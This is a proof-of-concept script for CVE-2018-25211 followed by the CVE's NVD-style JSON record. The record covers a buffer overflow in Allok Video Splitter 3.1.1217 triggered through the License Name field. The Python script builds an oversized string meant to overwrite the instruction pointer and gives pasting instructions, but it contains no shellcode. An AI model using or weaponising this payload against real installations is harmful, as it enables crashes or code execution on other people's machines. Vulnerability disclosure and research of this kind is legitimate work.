CVE-2018-25211

# PoC for CVE-2018-25211 # This script generates a malicious payload to trigger the buffer overflow # in Allok Video Splitter 3.1.1217 via the License Name field. def generate_payload(): # The buffer overflows after approximately 780 bytes padding = "A" * 780 # Overwriting the EIP (Instruction Pointer) # Specific address may vary based on OS version, using placeholder eip_overwrite = "B" * 4 # Optional: NOP sled followed by shellcode payload = padding + eip_overwrite try: with open("cve_2018_25211_poc.txt", "w") as f: f.write(payload) print("[+] Payload generated successfully!") print("[+] Content of 'cve_2018_25211_poc.txt' should be pasted into the 'License Name' field.") except IOError as e: print(f"[-] Error writing file: {e}") if __name__ == "__main__": generate_payload()

{"cve": {"id": "CVE-2018-25211", "sourceIdentifier": "[email protected]", "published": "2026-03-26T14:16:04.057", "lastModified": "2026-03-27T18:27:58.370", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Allok Video Splitter 3.1.1217 contains a buffer overflow vulnerability that allows local attackers to cause a denial of service or execute arbitrary code by supplying an oversized string in the License Name field. Attackers can craft a malicious payload exceeding 780 bytes, paste it into the License Name registration field, and trigger the overflow when the Register button is clicked."}, {"lang": "es", "value": "Allok Video Splitter 3.1.1217 contiene una vulnerabilidad de desbordamiento de búfer que permite a atacantes locales causar una denegación de servicio o ejecutar código arbitrario al proporcionar una cadena de tamaño excesivo en el campo Nombre de Licencia. Los atacantes pueden crear una carga útil maliciosa que exceda los 780 bytes, pegarla en el campo de registro Nombre de Licencia y activar el desbordamiento cuando se hace clic en el botón Registrar."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:alloksoft:video_splitter:3.1.1217:*:*:*:*:*:*:*", "matchCriteriaId": "EBF6D1D0-45CD-4116-BE77-67D14A83FD0B"}]}]}], "references": [{"url": "http://www.alloksoft.com/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.exploit-db.com/exploits/44605", "source": "[email protected]", "tags": ["Exploit", "VDB Entry"]}, {"url": "https://www.vulncheck.com/advisories/allok-video-splitter-buffer-overflow-via-license-name", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}